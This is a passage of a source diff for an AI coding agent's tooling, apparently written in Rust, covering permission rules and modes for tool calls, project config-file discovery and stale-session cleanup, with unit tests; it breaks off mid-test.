||||
Self::GrokWeb => "grok-web",
|
||||
Self::Nebula => "nebula",
|
||||
Self::Extension => "grok-code-extension",
|
||||
Self::GrokPager => "grok-pager",
|
||||
Self::Desktop => "grok-desktop",
|
||||
}
|
||||
}
|
||||
/// Resolve from ACP `clientIdentifier` string (e.g. `"grok-web"`, `"grok-desktop"`).
|
||||
pub fn from_client_identifier(id: Option<&str>) -> Self {
|
||||
match id {
|
||||
Some("grok-web") => Self::GrokWeb,
|
||||
Some("nebula") => Self::Nebula,
|
||||
Some("grok-code-extension") => Self::Extension,
|
||||
Some("grok-desktop") => Self::Desktop,
|
||||
Some("grok-pager") => Self::GrokPager,
|
||||
_ => Self::Generic,
|
||||
}
|
||||
}
|
||||
/// Label for feedback reporting and experiment filtering.
|
||||
pub fn feedback_label(&self) -> &'static str {
|
||||
match self {
|
||||
Self::GrokTUI | Self::GrokPager => "tui",
|
||||
Self::GrokWeb => "web",
|
||||
Self::Nebula => "nebula",
|
||||
Self::Extension => "extension",
|
||||
Self::Generic => "agent",
|
||||
Self::Desktop => "desktop",
|
||||
}
|
||||
}
|
||||
}
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum AccessKind {
|
||||
Read(Option<String>),
|
||||
Grep {
|
||||
path: Option<String>,
|
||||
glob: Option<String>,
|
||||
},
|
||||
Edit(String),
|
||||
Bash(String),
|
||||
/// An MCP tool call: the tool name plus its raw JSON args. The args are
|
||||
/// carried so the auto-mode classifier (and telemetry) can judge what the
|
||||
/// call actually does, not just its name.
|
||||
MCPTool {
|
||||
name: String,
|
||||
input: serde_json::Value,
|
||||
},
|
||||
WebFetch(String),
|
||||
WebSearch(String),
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum Decision {
|
||||
Allow,
|
||||
/// A policy `ask` rule matched; prompt the user.
|
||||
Ask,
|
||||
FollowupMessage(String),
|
||||
Reject(String),
|
||||
/// A policy deny rule matched. Distinguished from `Reject` (user-initiated)
|
||||
/// so the caller can return the error to the LLM instead of cancelling
|
||||
/// the turn — the agent should see the denial and adapt.
|
||||
PolicyDeny(String),
|
||||
/// The user cancelled the turn (e.g. Cmd+C during permission prompt).
|
||||
/// Distinguished from `Reject` so the caller can return `StopReason::Cancelled`.
|
||||
Cancelled,
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub enum EditPolicy {
|
||||
#[default]
|
||||
Ask,
|
||||
Allow,
|
||||
Reject,
|
||||
}
|
||||
impl Serialize for EditPolicy {
|
||||
fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
|
||||
serializer.serialize_str(match self {
|
||||
Self::Ask => "ask",
|
||||
Self::Allow => "allow",
|
||||
Self::Reject => "reject",
|
||||
})
|
||||
}
|
||||
}
|
||||
impl<'de> Deserialize<'de> for EditPolicy {
|
||||
fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
|
||||
struct V;
|
||||
impl serde::de::Visitor<'_> for V {
|
||||
type Value = EditPolicy;
|
||||
fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
|
||||
f.write_str("one of: ask, allow, reject")
|
||||
}
|
||||
fn visit_str<E: serde::de::Error>(self, v: &str) -> Result<EditPolicy, E> {
|
||||
match v {
|
||||
"ask" => Ok(EditPolicy::Ask),
|
||||
"allow" => Ok(EditPolicy::Allow),
|
||||
"reject" => Ok(EditPolicy::Reject),
|
||||
other => Err(E::unknown_variant(other, &["ask", "allow", "reject"])),
|
||||
}
|
||||
}
|
||||
}
|
||||
deserializer.deserialize_str(V)
|
||||
}
|
||||
}
|
||||
#[allow(clippy::large_enum_variant)]
|
||||
pub enum PermissionCommand {
|
||||
Request {
|
||||
access: AccessKind,
|
||||
tool_call_update: acp::ToolCallUpdate,
|
||||
respond_to: oneshot::Sender<Decision>,
|
||||
/// Session ID originating this request. Used to attribute
|
||||
/// permission events to child subagents.
|
||||
session_id: Option<String>,
|
||||
/// Subagent type if this request is from a child (e.g. "explore").
|
||||
subagent_type: Option<String>,
|
||||
/// Subagent description if this request is from a child.
|
||||
subagent_description: Option<String>,
|
||||
},
|
||||
/// Set the YOLO mode (auto-approve all permissions)
|
||||
SetYoloMode(bool),
|
||||
/// Set auto mode (LLM classifier for non-fast-path tools). Mutually
|
||||
/// exclusive with YOLO at the handle level; enabling auto clears yolo
|
||||
/// and vice versa when applied by the actor.
|
||||
SetAutoMode(bool),
|
||||
/// Install or replace the permission classifier used in auto mode.
|
||||
SetClassifier(Option<std::sync::Arc<dyn super::auto_mode::PermissionClassifier>>),
|
||||
/// Recent transcript turns for classifier context (compacted by caller).
|
||||
SetClassifierTranscript(Vec<super::auto_mode::ClassifierTurn>),
|
||||
/// Project AGENTS.md instructions for classifier context (None clears).
|
||||
SetProjectInstructions(Option<String>),
|
||||
/// Reset per-tool permission state back to defaults.
|
||||
ResetState,
|
||||
Shutdown,
|
||||
}
|
||||
impl From<&kigi_tools::types::ToolInput> for AccessKind {
|
||||
fn from(input: &kigi_tools::types::ToolInput) -> Self {
|
||||
use kigi_tools::types::ToolInput;
|
||||
match input {
|
||||
ToolInput::ReadFile(r) => AccessKind::Read(Some(r.path.clone())),
|
||||
ToolInput::ListDir(l) => AccessKind::Read(Some(l.target_directory.clone())),
|
||||
ToolInput::Grep(g) => AccessKind::Grep {
|
||||
path: g.path.clone(),
|
||||
glob: g.glob.clone(),
|
||||
},
|
||||
ToolInput::TodoWrite(_)
|
||||
| ToolInput::TaskOutput(_)
|
||||
| ToolInput::WaitTasks(_)
|
||||
| ToolInput::KillTask(_)
|
||||
| ToolInput::Skill(_) => AccessKind::Read(None),
|
||||
ToolInput::WebSearch(ws) => AccessKind::WebSearch(ws.query.clone()),
|
||||
ToolInput::SearchReplace(search_replace) => {
|
||||
AccessKind::Edit(search_replace.file_path.to_string())
|
||||
}
|
||||
ToolInput::ApplyPatch(_) => AccessKind::Edit("apply_patch".to_string()),
|
||||
ToolInput::HashlineEdit(he) => AccessKind::Edit(he.file_path.to_string()),
|
||||
ToolInput::Write(w) => AccessKind::Edit(w.file_path.clone()),
|
||||
ToolInput::Bash(bash) => AccessKind::Bash(bash.command.to_string()),
|
||||
ToolInput::Monitor(m) => AccessKind::Bash(m.command.clone()),
|
||||
ToolInput::MCPTool(mcp) => AccessKind::MCPTool {
|
||||
name: mcp.tool_name.to_string(),
|
||||
input: mcp.tool_input.clone(),
|
||||
},
|
||||
ToolInput::UseTool(u) => AccessKind::MCPTool {
|
||||
name: u.tool_name.clone(),
|
||||
input: u.tool_input.clone(),
|
||||
},
|
||||
ToolInput::WebFetch(wf) => AccessKind::WebFetch(wf.url.clone()),
|
||||
ToolInput::Dynamic(_) => AccessKind::Read(None),
|
||||
#[allow(unreachable_patterns)]
|
||||
_ => AccessKind::Read(None),
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Permission policy configuration (duplicated from util/config.rs for Phase 1 move independence; identical).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
#[serde(default)]
|
||||
pub struct PermissionConfig {
|
||||
pub rules: Vec<PermissionRule>,
|
||||
/// What to do when no rule or pre-decision resolves a tool call.
|
||||
#[serde(default)]
|
||||
pub prompt_policy: PromptPolicy,
|
||||
}
|
||||
impl PermissionConfig {
|
||||
pub fn new(rules: Vec<PermissionRule>) -> Self {
|
||||
Self {
|
||||
rules,
|
||||
prompt_policy: PromptPolicy::Ask,
|
||||
}
|
||||
}
|
||||
}
|
||||
/// What to do when the permission manager would normally prompt the user.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum PromptPolicy {
|
||||
/// Prompt the user for approval (default).
|
||||
#[default]
|
||||
Ask,
|
||||
/// Deny without prompting (`permissions.defaultMode: "dontAsk"`).
|
||||
Deny,
|
||||
/// Use the auto-mode classifier (`permissions.defaultMode: "auto"`).
|
||||
/// Seeded into the permission manager's auto flag at session start.
|
||||
Auto,
|
||||
}
|
||||
/// A single permission rule.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PermissionRule {
|
||||
pub action: RuleAction,
|
||||
#[serde(default)]
|
||||
pub tool: ToolFilter,
|
||||
pub pattern: Option<String>,
|
||||
#[serde(default)]
|
||||
pub pattern_mode: PatternMode,
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum PatternMode {
|
||||
#[default]
|
||||
Glob,
|
||||
Domain,
|
||||
}
|
||||
/// Action to take when rule matches.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum RuleAction {
|
||||
Allow,
|
||||
#[default]
|
||||
Deny,
|
||||
Ask,
|
||||
}
|
||||
/// Tool filter for permission rules.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum ToolFilter {
|
||||
#[default]
|
||||
Any,
|
||||
Bash,
|
||||
Edit,
|
||||
Read,
|
||||
Grep,
|
||||
Mcp,
|
||||
WebFetch,
|
||||
WebSearch,
|
||||
}
|
||||
/// Where a requirement/permission was loaded from (duplicated for claude_compat).
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum RequirementSource {
|
||||
Unknown,
|
||||
/// User-writable `~/.kigi/requirements.toml` — untrusted for keeping a
|
||||
/// catch-all allow under the pin (a restricted user can edit it).
|
||||
Requirements {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
/// Root-owned system-dir `requirements.toml`. Distinguished at load time
|
||||
/// (`RequirementsLayer::is_system`), never inferred from `path`.
|
||||
SystemRequirements {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
ManagedSettings {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
/// Defaults tier; never an admin source.
|
||||
ManagedConfig {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
Config {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
Settings {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
}
|
||||
impl std::fmt::Display for RequirementSource {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
Self::Unknown => f.write_str("<unknown>"),
|
||||
Self::Requirements { path } => write!(f, "{} (requirements)", path.display()),
|
||||
Self::SystemRequirements { path } => {
|
||||
write!(f, "{} (system requirements)", path.display())
|
||||
}
|
||||
Self::ManagedSettings { path } => {
|
||||
write!(f, "{} (managed-settings)", path.display())
|
||||
}
|
||||
Self::ManagedConfig { path } => {
|
||||
write!(f, "{} (managed config)", path.display())
|
||||
}
|
||||
Self::Config { path } => write!(f, "{} (config)", path.display()),
|
||||
Self::Settings { path } => write!(f, "{} (settings)", path.display()),
|
||||
}
|
||||
}
|
||||
}
|
||||
/// A value paired with its source (duplicated).
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Sourced<T> {
|
||||
pub value: T,
|
||||
pub source: RequirementSource,
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
#[test]
|
||||
fn permission_event_subagent_fields_default_to_none() {
|
||||
let json = r#"{
|
||||
"tool_id": "tc1",
|
||||
"tool_name": "bash",
|
||||
"access_kind": "bash",
|
||||
"yolo_mode": false,
|
||||
"auto_approved": false,
|
||||
"user_prompted": true,
|
||||
"decision": "allow",
|
||||
"timestamp": "2026-03-24T00:00:00Z"
|
||||
}"#;
|
||||
let event: PermissionEvent = serde_json::from_str(json).unwrap();
|
||||
assert!(event.subagent_session_id.is_none());
|
||||
assert!(event.subagent_type.is_none());
|
||||
assert!(event.subagent_description.is_none());
|
||||
assert!(event.permission_mode.is_none());
|
||||
assert!(event.decision_reason.is_none());
|
||||
assert!(event.wait_ms.is_none());
|
||||
assert!(event.queue_depth.is_none());
|
||||
}
|
||||
#[test]
|
||||
fn permission_event_with_subagent_attribution() {
|
||||
let event = PermissionEvent {
|
||||
tool_id: "tc1".into(),
|
||||
tool_name: "bash".into(),
|
||||
access_kind: "bash".into(),
|
||||
access_detail: None,
|
||||
yolo_mode: false,
|
||||
auto_approved: false,
|
||||
user_prompted: true,
|
||||
decision: "allow".into(),
|
||||
prompt_outcome: None,
|
||||
reject_reason: None,
|
||||
timestamp: Utc::now(),
|
||||
subagent_session_id: Some("child-1".into()),
|
||||
subagent_type: Some("explore".into()),
|
||||
subagent_description: Some("Find endpoints".into()),
|
||||
permission_mode: Some("ask".into()),
|
||||
decision_reason: Some("needs_user".into()),
|
||||
wait_ms: Some(1234),
|
||||
queue_depth: Some(3),
|
||||
};
|
||||
let json = serde_json::to_value(&event).unwrap();
|
||||
assert_eq!(json["subagent_session_id"], "child-1");
|
||||
assert_eq!(json["subagent_type"], "explore");
|
||||
assert_eq!(json["subagent_description"], "Find endpoints");
|
||||
assert_eq!(json["permission_mode"], "ask");
|
||||
assert_eq!(json["decision_reason"], "needs_user");
|
||||
assert_eq!(json["wait_ms"], 1234);
|
||||
assert_eq!(json["queue_depth"], 3);
|
||||
}
|
||||
#[test]
|
||||
fn permission_event_skips_none_optional_fields() {
|
||||
let event = PermissionEvent {
|
||||
tool_id: "tc1".into(),
|
||||
tool_name: "bash".into(),
|
||||
access_kind: "bash".into(),
|
||||
access_detail: None,
|
||||
yolo_mode: false,
|
||||
auto_approved: true,
|
||||
user_prompted: false,
|
||||
decision: "allow".into(),
|
||||
prompt_outcome: None,
|
||||
reject_reason: None,
|
||||
timestamp: Utc::now(),
|
||||
subagent_session_id: None,
|
||||
subagent_type: None,
|
||||
subagent_description: None,
|
||||
permission_mode: None,
|
||||
decision_reason: None,
|
||||
wait_ms: None,
|
||||
queue_depth: None,
|
||||
};
|
||||
let json = serde_json::to_string(&event).unwrap();
|
||||
assert!(!json.contains("subagent_session_id"));
|
||||
assert!(!json.contains("subagent_type"));
|
||||
assert!(!json.contains("permission_mode"));
|
||||
assert!(!json.contains("decision_reason"));
|
||||
assert!(!json.contains("wait_ms"));
|
||||
assert!(!json.contains("queue_depth"));
|
||||
}
|
||||
#[test]
|
||||
fn hashline_edit_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::grok_build_hashline::edit::types::HashlineEditInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::HashlineEdit(HashlineEditInput {
|
||||
file_path: "src/main.rs".into(),
|
||||
edits: vec![],
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "src/main.rs"),
|
||||
"HashlineEdit should produce AccessKind::Edit with the file path, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn bash_maps_to_bash_access() {
|
||||
use kigi_tools::implementations::grok_build::bash::BashToolInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Bash(BashToolInput {
|
||||
command: "cargo test".into(),
|
||||
timeout: None,
|
||||
description: "run tests".into(),
|
||||
is_background: false,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Bash(ref cmd) if cmd == "cargo test"),
|
||||
"Bash should produce AccessKind::Bash with the command, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn use_tool_maps_to_mcp_tool_access() {
|
||||
use kigi_tools::implementations::use_tool::UseToolInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::UseTool(UseToolInput {
|
||||
tool_name: "linear__save_issue".into(),
|
||||
tool_input: serde_json::json!({ "title" : "test" }),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::MCPTool { ref name, ref input } if name ==
|
||||
"linear__save_issue" && input["title"] == "test"),
|
||||
"UseTool should produce AccessKind::MCPTool carrying the inner tool name and args, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn monitor_maps_to_bash_access() {
|
||||
use kigi_tools::implementations::grok_build::monitor::types::MonitorInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Monitor(MonitorInput {
|
||||
command: "tail -f /var/log/syslog".into(),
|
||||
description: "watch syslog".into(),
|
||||
timeout_ms: None,
|
||||
persistent: None,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Bash(ref cmd) if cmd ==
|
||||
"tail -f /var/log/syslog"),
|
||||
"Monitor runs shell and must map to AccessKind::Bash (not Read), got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn search_replace_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::SearchReplace(SearchReplaceInput {
|
||||
file_path: "lib.rs".into(),
|
||||
old_string: "old".into(),
|
||||
new_string: "new".into(),
|
||||
replace_all: false,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "lib.rs"),
|
||||
"SearchReplace should produce AccessKind::Edit, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn web_fetch_maps_to_web_fetch_access() {
|
||||
use kigi_tools::implementations::grok_build::web_fetch::WebFetchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::WebFetch(WebFetchInput {
|
||||
url: "https://custom.example.com/api".into(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::WebFetch(ref u) if u ==
|
||||
"https://custom.example.com/api"),
|
||||
"WebFetch should produce AccessKind::WebFetch with the URL, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn web_search_maps_to_web_search_access() {
|
||||
use kigi_tools::implementations::grok_build::web_search::WebSearchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::WebSearch(WebSearchInput {
|
||||
query: "rust lang".into(),
|
||||
allowed_domains: None,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::WebSearch(ref q) if q == "rust lang"),
|
||||
"WebSearch should produce AccessKind::WebSearch with the query, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn apply_patch_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::codex::apply_patch::ApplyPatchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::ApplyPatch(ApplyPatchInput {
|
||||
patch: String::new(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(_)),
|
||||
"ApplyPatch should produce AccessKind::Edit, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn write_tool_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::opencode::write::WriteInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Write(WriteInput {
|
||||
file_path: "/tmp/secret.txt".into(),
|
||||
content: "overwritten".into(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "/tmp/secret.txt"),
|
||||
"Write should produce AccessKind::Edit with the file path, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn client_type_deserializes_grok_shell_as_generic() {
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("grok-shell".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("grok_shell".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("generic".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,115 @@
|
||||
//! Project config-file discovery: locating repo-local `.mcp.json` and
|
||||
//! `.kigi/config.toml` files by walking from `cwd` up to the git root.
|
||||
//!
|
||||
//! These pure `git2` + filesystem walks are shared by the shell's config
|
||||
//! loaders and the folder-trust gate's `repo_configs_present`.
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use kigi_agent::repo::RepoDirChain;
|
||||
|
||||
/// Filename of the project-local MCP server config.
|
||||
pub const MCP_JSON_FILENAME: &str = ".mcp.json";
|
||||
|
||||
/// Candidate `.mcp.json` paths from repo root to `cwd`, whether or not they exist.
|
||||
/// Useful for file watching so newly created files are detected after startup.
|
||||
pub fn mcp_json_candidate_paths(cwd: &Path) -> Vec<PathBuf> {
|
||||
mcp_json_candidate_paths_in(&RepoDirChain::resolve(cwd).dirs)
|
||||
}
|
||||
|
||||
/// [`mcp_json_candidate_paths`] over a precomputed cwd→git-root dir chain
|
||||
/// ([`RepoDirChain`]), repo-root-first. Private: only this file's two callers.
|
||||
fn mcp_json_candidate_paths_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
|
||||
chain_dirs
|
||||
.iter()
|
||||
.rev()
|
||||
.map(|dir| dir.join(MCP_JSON_FILENAME))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Find existing `.mcp.json` files from `cwd` up to the git root (repo-root-first order).
|
||||
pub fn find_mcp_json_files(cwd: &Path) -> Vec<PathBuf> {
|
||||
find_mcp_json_files_in(&RepoDirChain::resolve(cwd).dirs)
|
||||
}
|
||||
|
||||
/// [`find_mcp_json_files`] over a precomputed dir chain. See [`RepoDirChain`].
|
||||
/// `pub(crate)` — the gate (`repo_configs_present`) reaches it within this crate.
|
||||
pub(crate) fn find_mcp_json_files_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
|
||||
mcp_json_candidate_paths_in(chain_dirs)
|
||||
.into_iter()
|
||||
.filter(|path| path.is_file())
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// True when `config_path` is `$KIGI_SHARE_DIR/config.toml` (user tier, not project).
|
||||
fn is_user_grok_config_file(config_path: &Path) -> bool {
|
||||
let Some(user_home) = kigi_config::user_kigi_home() else {
|
||||
return false;
|
||||
};
|
||||
let user_config = user_home.join("config.toml");
|
||||
if config_path == user_config.as_path() {
|
||||
return true;
|
||||
}
|
||||
let Ok(canonical_config) = dunce::canonicalize(config_path) else {
|
||||
return false;
|
||||
};
|
||||
let canonical_user = dunce::canonicalize(&user_config).unwrap_or(user_config);
|
||||
canonical_config == canonical_user
|
||||
}
|
||||
|
||||
/// Find all `.kigi/config.toml` files from `cwd` upward to the git repo root.
|
||||
/// Returns paths ordered from repo root (lowest priority) to cwd (highest priority),
|
||||
/// matching the convention used by skills and AGENTS.md discovery.
|
||||
///
|
||||
/// If no git repo is found, only checks `cwd/.kigi/config.toml`. Excludes the
|
||||
/// user-global config so `cwd == $HOME` does not treat `~/.kigi/config.toml` as
|
||||
/// a project overlay.
|
||||
pub fn find_project_configs(cwd: &Path) -> Vec<PathBuf> {
|
||||
find_project_configs_in(&RepoDirChain::resolve(cwd).dirs)
|
||||
}
|
||||
|
||||
/// [`find_project_configs`] over a precomputed cwd→git-root dir chain
|
||||
/// ([`RepoDirChain`]), repo-root-first. Excludes the user-global config so
|
||||
/// `cwd == $HOME` does not treat `~/.kigi/config.toml` as a project overlay.
|
||||
/// `pub(crate)` — the gate (`repo_configs_present`) reaches it within this crate.
|
||||
pub(crate) fn find_project_configs_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
|
||||
// `dirs` is cwd-first; reverse so repo root comes first (lowest priority)
|
||||
// and cwd last (highest), matching skills/AGENTS.md discovery order.
|
||||
chain_dirs
|
||||
.iter()
|
||||
.rev()
|
||||
.map(|dir| dir.join(".kigi").join("config.toml"))
|
||||
.filter(|config_path| config_path.is_file() && !is_user_grok_config_file(config_path))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn find_project_configs_excludes_user_grok_config_file() {
|
||||
let Some(user_home) = kigi_config::user_kigi_home() else {
|
||||
return;
|
||||
};
|
||||
let user_config = user_home.join("config.toml");
|
||||
if user_config.is_file() {
|
||||
#[allow(deprecated)]
|
||||
let home = std::env::home_dir().expect("home dir");
|
||||
let from_home = find_project_configs(&home);
|
||||
assert!(
|
||||
!from_home.iter().any(|p| is_user_grok_config_file(p)),
|
||||
"user config leaked into project configs: {from_home:?}"
|
||||
);
|
||||
assert!(is_user_grok_config_file(&user_config));
|
||||
}
|
||||
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let project = tmp.path().join("repo");
|
||||
std::fs::create_dir_all(project.join(".kigi")).unwrap();
|
||||
std::fs::write(project.join(".kigi/config.toml"), "# project\n").unwrap();
|
||||
let found = find_project_configs(&project);
|
||||
assert_eq!(found.len(), 1);
|
||||
assert!(!is_user_grok_config_file(&found[0]));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
//! Startup janitor for workspace-owned on-disk session state.
|
||||
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Default maximum age for a per-session state directory before the
|
||||
/// [`cleanup_stale_sessions`] janitor reclaims it (7 days).
|
||||
pub const DEFAULT_SESSION_MAX_AGE: Duration = Duration::from_secs(7 * 24 * 60 * 60);
|
||||
|
||||
/// Remove per-session state directories under `<workspace_home>/sessions/`
|
||||
/// whose mtime is older than `max_age`, bounding the unbounded growth a
|
||||
/// long-lived workspace (or reused sandbox) would otherwise accumulate.
|
||||
///
|
||||
/// A directory's mtime advances on every atomic-rename persistence write (the
|
||||
/// rename mutates the directory entry), so it tracks last activity closely
|
||||
/// enough for a best-effort reclaim. All errors are swallowed — a startup
|
||||
/// janitor must never fail boot. Only directories with a resolvable, expired
|
||||
/// mtime are removed; stray files and future-mtime entries are left untouched.
|
||||
pub async fn cleanup_stale_sessions(workspace_home: &Path, max_age: Duration) {
|
||||
let sessions_dir = workspace_home.join("sessions");
|
||||
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
|
||||
return; // No sessions dir yet (first boot).
|
||||
};
|
||||
|
||||
let mut removed = 0u32;
|
||||
while let Ok(Some(entry)) = entries.next_entry().await {
|
||||
let Ok(ft) = entry.file_type().await else {
|
||||
continue;
|
||||
};
|
||||
if !ft.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let path = entry.path();
|
||||
if let Ok(metadata) = tokio::fs::metadata(&path).await
|
||||
&& let Ok(modified) = metadata.modified()
|
||||
&& let Ok(age) = modified.elapsed()
|
||||
&& age > max_age
|
||||
{
|
||||
match tokio::fs::remove_dir_all(&path).await {
|
||||
Ok(()) => {
|
||||
removed += 1;
|
||||
tracing::info!(
|
||||
path = %path.display(),
|
||||
age_secs = age.as_secs(),
|
||||
"cleanup_stale_sessions: removed stale session dir"
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
error = %e,
|
||||
"cleanup_stale_sessions: failed to remove stale session dir"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if removed > 0 {
|
||||
tracing::info!(
|
||||
removed,
|
||||
"cleanup_stale_sessions: stale session-dir sweep complete"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::time::Duration;
|
||||
|
||||
/// A session dir older than `max_age` is removed.
|
||||
#[tokio::test]
|
||||
async fn cleanup_removes_stale_session_dir() {
|
||||
let home = tempfile::TempDir::new().unwrap();
|
||||
let stale = home.path().join("sessions").join("sess-old");
|
||||
std::fs::create_dir_all(&stale).unwrap();
|
||||
std::fs::write(stale.join("tool_state.json"), b"{}").unwrap();
|
||||
// Guarantee `age > Duration::ZERO` regardless of mtime resolution.
|
||||
tokio::time::sleep(Duration::from_millis(15)).await;
|
||||
|
||||
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
|
||||
|
||||
assert!(
|
||||
!stale.exists(),
|
||||
"a session dir older than max_age must be removed"
|
||||
);
|
||||
}
|
||||
|
||||
/// A session dir younger than `max_age` is kept.
|
||||
#[tokio::test]
|
||||
async fn cleanup_keeps_fresh_session_dir() {
|
||||
let home = tempfile::TempDir::new().unwrap();
|
||||
let fresh = home.path().join("sessions").join("sess-new");
|
||||
std::fs::create_dir_all(&fresh).unwrap();
|
||||
std::fs::write(fresh.join("tool_state.json"), b"{}").unwrap();
|
||||
|
||||
cleanup_stale_sessions(home.path(), Duration::from_secs(3600)).await;
|
||||
|
||||
assert!(
|
||||
fresh.exists(),
|
||||
"a session dir younger than max_age must be kept"
|
||||
);
|
||||
assert!(
|
||||
fresh.join("tool_state.json").exists(),
|
||||
"a kept session dir must retain its contents"
|
||||
);
|
||||
}
|
||||
|
||||
/// No `sessions/` directory (first boot) is a silent no-op, not a panic.
|
||||
#[tokio::test]
|
||||
async fn cleanup_missing_sessions_dir_is_noop() {
|
||||
let home = tempfile::TempDir::new().unwrap();
|
||||
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
|
||||
assert!(home.path().exists(), "home is left untouched");
|
||||
}
|
||||
|
||||
/// Stray files under `sessions/` are never removed — directories only.
|
||||
#[tokio::test]
|
||||
async fn cleanup_ignores_non_dir_entries() {
|
||||
let home = tempfile::TempDir::new().unwrap();
|
||||
let sessions = home.path().join("sessions");
|
||||
